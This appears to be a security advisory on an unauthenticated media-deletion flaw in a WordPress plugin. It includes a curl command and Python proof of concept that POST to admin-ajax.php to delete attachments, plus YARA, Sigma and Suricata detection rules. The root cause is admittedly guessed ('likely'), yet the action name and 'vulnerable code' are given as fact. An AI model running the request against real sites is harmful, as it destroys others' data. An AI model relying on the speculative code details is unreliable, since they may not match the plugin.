CVE-2025-48326

Executive Summary

CVE-2025-48326 is a Missing Authorization vulnerability in the Acclectic Media Organizer WordPress plugin, affecting versions up to and including 1.4. This flaw allows unauthenticated attackers to exploit incorrectly configured access control security levels, potentially leading to unauthorized access to media management functions. The vulnerability has a CVSS score of 6.5 (Medium) and currently has no known public exploit or patch. Given the WordPress ecosystem context, this issue could allow attackers to view, modify, or delete media files without proper authentication.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. Users who installed the plugin via the WordPress dashboard or manual upload are at risk. No official patch has been released, and the plugin may be abandoned. Organizations should consider removing the plugin or implementing strict access controls until a patch is available.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
• Confidentiality Impact (C): Low (L) – Limited data exposure.
• Integrity Impact (I): Low (L) – Limited data modification.
• Availability Impact (A): None (N) – No denial of service.

Threat Level: Medium. The vulnerability is easy to exploit but has limited impact. However, in a WordPress context, it could lead to broader compromise if combined with other vulnerabilities.

Deep Dive & Mechanics

The vulnerability resides in the Acclectic Media Organizer plugin's failure to properly enforce authorization checks on AJAX actions or REST API endpoints. The plugin likely registers WordPress AJAX hooks (e.g., wp_ajax_* and wp_ajax_nopriv_*) without verifying user capabilities. This allows unauthenticated users to call functions that should require at least edit_posts or upload_files capabilities.

Root Cause: The plugin uses add_action('wp_ajax_nopriv_*', ...) for sensitive operations, or fails to call current_user_can() before processing requests. Attackers can send crafted HTTP requests to manipulate media metadata, delete files, or access private media.

Attack Vector: An attacker sends a POST request to /wp-admin/admin-ajax.php with an action parameter corresponding to an unprotected function. For example:

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=acclectic_media_delete&media_id=123

Vulnerable vs. Patched Code

Vulnerable Code (version <= 1.4):

add_action('wp_ajax_nopriv_acclectic_media_delete', 'acclectic_media_delete_handler');
function acclectic_media_delete_handler() {
    $media_id = intval($_POST['media_id']);
    wp_delete_attachment($media_id);
    wp_die();
}

Patched Code (hypothetical):

add_action('wp_ajax_acclectic_media_delete', 'acclectic_media_delete_handler');
function acclectic_media_delete_handler() {
    if (!current_user_can('delete_posts')) {
        wp_die('Unauthorized', 403);
    }
    $media_id = intval($_POST['media_id']);
    wp_delete_attachment($media_id);
    wp_die();
}

The patched version removes the nopriv_ prefix (which allows unauthenticated access) and adds a capability check.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target WordPress site with Acclectic Media Organizer <= 1.4 installed.
• Network access to the site.

Exploitation Steps:

1. Identify the vulnerable endpoint by probing admin-ajax.php with common action names.
2. Send a crafted request to delete a media file:

curl -X POST https://target.com/wp-admin/admin-ajax.php \
  -d "action=acclectic_media_delete&media_id=1"

3. Verify deletion by checking the media library.

Proof of Concept (PoC):

import requests

target = "https://target.com/wp-admin/admin-ajax.php"
payload = {"action": "acclectic_media_delete", "media_id": "1"}
response = requests.post(target, data=payload)
print(response.status_code)

Blue Team (Detection & Response)

Detection:

• Monitor admin-ajax.php requests for unusual action parameters.
• Look for nopriv_ actions that should require authentication.
• Alert on mass media deletion or access attempts.

Response:

• Immediately disable the plugin if exploitation is detected.
• Review access logs for IP addresses targeting admin-ajax.php.
• Restore deleted media from backups.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /wp-admin/admin-ajax.php with action parameters like acclectic_media_*.
  • Repeated 403 errors from admin-ajax.php (if patched).
• File IOCs:
  • Unexpected deletion of media attachments in the WordPress database.
  • Modified .htaccess or wp-config.php files (if exploited for further access).
• Log IOCs:
  • WordPress debug log entries showing wp_ajax_nopriv_* calls.
  • Web server access logs with unusual admin-ajax.php POST requests.

Detection Engineering

YARA Rule

rule CVE_2025_48326_Acclectic_Media_Organizer {
    meta:
        description = "Detects vulnerable Acclectic Media Organizer plugin files"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-48326"
    strings:
        $vuln_func = /add_action\s*\(\s*['\"]wp_ajax_nopriv_.*acclectic.*['\"]/
        $vuln_hook = /wp_ajax_nopriv_acclectic_/
    condition:
        $vuln_func or $vuln_hook
}

Sigma Rule

title: CVE-2025-48326 - Acclectic Media Organizer Unauthenticated Access
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated POST requests to admin-ajax.php with acclectic media actions
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-stem: /wp-admin/admin-ajax.php
        cs-uri-query|contains: action=acclectic_
    condition: selection
falsepositives:
    - Legitimate admin actions (if plugin is used by authenticated users)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-48326 - Acclectic Media Organizer Unauthenticated AJAX Access";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=acclectic_"; http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is available.
2. Implement Web Application Firewall (WAF) rules to block requests to admin-ajax.php with action=acclectic_* parameters from unauthenticated users.
3. Restrict access to /wp-admin/ using IP whitelisting or VPN.

Long-term Fix:

• Monitor the plugin's official page for updates.
• If the plugin is abandoned, consider migrating to an alternative media organizer plugin.
• Apply the principle of least privilege to all WordPress plugins.

Detection Hardening:

• Enable WordPress debug logging (WP_DEBUG_LOG) to capture unauthorized access attempts.
• Use security plugins like Wordfence to monitor for suspicious AJAX requests.

Report generated by Valters IT Cyber Threat Intelligence Division